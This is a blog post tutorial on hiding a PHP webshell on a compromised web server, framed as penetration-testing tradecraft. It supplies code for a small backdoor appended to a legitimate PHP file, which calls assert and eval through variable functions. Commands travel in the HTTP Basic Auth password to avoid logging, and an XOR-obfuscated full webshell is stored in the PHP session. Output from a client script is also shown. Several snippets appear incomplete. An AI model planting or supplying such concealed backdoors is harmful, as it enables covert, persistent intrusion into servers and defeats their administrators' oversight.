domenica 14 maggio 2017

Hiding PHP Webshell in an effective way

There are many reason why you want to hide your PHP Webshell, for example not being caught by the system administrator during a penetration testing activity. In this post I'll propose a possible approach on how to do it.

Let's consider this scenario:
  • you are able to create a PHP file in the web root of the web server (for example by exploiting an arbitrary file upload, a RCE and so on...)
  • you want to use a shell that is a bit more complete than: eval($_GET['c'])
  • you want to be as stealth as possible (speaking of both artifacts left on the filesystem and at a network level)
The first step is the creation of the PHP file that will accept our input. This file should be very small and possibly with no direct reference to code execution functions. Sucuri wrote some blog posts about possible ways to execute PHP code in an unusual way ([1], [2]), but in my opinion there is a clever way to execute PHP code by using "Variable functions" ([3], [4]).

This idea is pretty simple, let us see an example:
$fun = 'strrev';
print $fun('Hello');
The result will be: olleH

Cool, so we can create something like:
$f = $_GET['c'];
and we can pass as c = eval and as p = <my evil code>. Unfortunately it will not work :\ From the Variable functions page we can read:

"Variable functions won't work with language constructs such as echo, print, unset(), isset(), empty(), include, require and the like. Use wrapper functions to employ any of these constructs as variable functions."

Among the excluded functions there is also eval :( Ok, not too bad, if you know PHP, you will also know that there is the assert function that has a very similar behavior to eval and it is allowed :)

So, now we have a very simple PHP code that can execute arbitrary code with a very minimal footprint. The best choice would be to alter a legit .PHP file and append our short code to it, in this way no new files will be created on the file system. Now, our second concern is to cover our network trace.

To do this, we can opt for the GET method and pass the data via query string. This is probably the worst option since the query string is logged by default in the log web server.

As an alternative we can use the POST method for our communication, but if you have added the PHP code to a legit page that doesn't accept POST data, this could look suspicious and raise the attention of the administrator. Also in a log file the POST requests are considerably less that the GET requests, this fact can be spotted easily by a system administrator.

We should find something that is considered a bad practice to be logged, something that, if implemented, could be classified as the CWE-532: Information Exposure Through Log Files. Yes, you got it, we will use a password field :) To be more precise the HTTP Basic Authorization Header. This value is also encoded in base64 and can be accessed from PHP without any need to do a decode first. So, in the end our code will be something like:

 if (isset($_SERVER['PHP_AUTH_PW'])) 
  $a = explode("|", $_SERVER['PHP_AUTH_PW']); 

Now we need just one last step, the code that we want to execute should be user-friendlier than just that raw shell but we don't want to store it in a separate file in the web root, we need to find another place to store it and that can be easily accessed by PHP.

The perfect solution seems to be the SESSION object. This object is typically serialized in a file in the temp directory (as default configuration), so it is very unlikely that a system administrator takes a look at those files for no reason.

Let's have a brief recap:
  1. we have a very short and simple PHP code, possibly embedded inside a legit PHP file
  2. we will use the Autorization header to communicate with our code, this will avoid to have our data logged
  3. we will store the big PHP shell in the user session in order to be called later
Let's suppose that $webshell is the content that we want to store in the user session (a shell C99 style). Our first request will store the code in the user session. We will send as HTTP Basic password the following content:
  0                  1                     2                3
The request will call the assert function (0), which in turn will call the eval function (1) (this is done to overcome the Variable Functions limitation) on a base64 decoded string (INSTALLER) which has this content:
$a = explode("|", $_SERVER['PHP_AUTH_PW']);
$_SESSION[$a[2]] = $a[3];
This code just extracts the session key name from the data (2), the base64 encoded PHP web shell (3) (the content of $webshell) and save it in the user session. Now we have a PHP webshell in our session that is just waiting to be invoked :)

We can do this by sending the following data:
where the content of INVOKE is:
if (array_key_exists("SESSION_KEY", $_SESSION))
    function xor_deobf($str, $key)
       $out = '';
       for($i = 0; $i < strlen($str); ++$i)
          $out .= ($str[$i] ^ $key[$i % strlen($key)]);
       return $out;
    eval(xor_deobf(base64_decode($_SESSION["SESSION_KEY"]), "MY_HARCODED_KEY"));
Basically it verifies that the given SESSION_KEY is present and if so its content is executed. I have used a simple XOR obfuscation layer to be even more stealthy.

Of course, $webshell should also use the same communication channel in order to be stealth, otherwise you will loose your benefit :)


I hope that you have found this simple post useful. I created a simple python script that it is able to communicate with my code and execute commands.

You can find it at:

You can invoke it with the following command: "print 'Hello from my web shell';"
The result is:
[+] Using session value: PHPSESSID=d22838ce1683e0c9f7f634b10b
[+] Encryption key: d51313ea1fd9233dfe8c40eacfde35e7290aaec8533cc0dd78
[+] Saved command in user session
[+] Command result: Hello from my web shell


[1] PHP Backdoors: Hidden With Clever Use of Extract Function -

[2] PHP Callback Functions: Another Way to Hide Backdoors -

[3] Variable functions -

[4] A Look Into Creating A Truley Invisible PHP Shell -

Nessun commento:

Posta un commento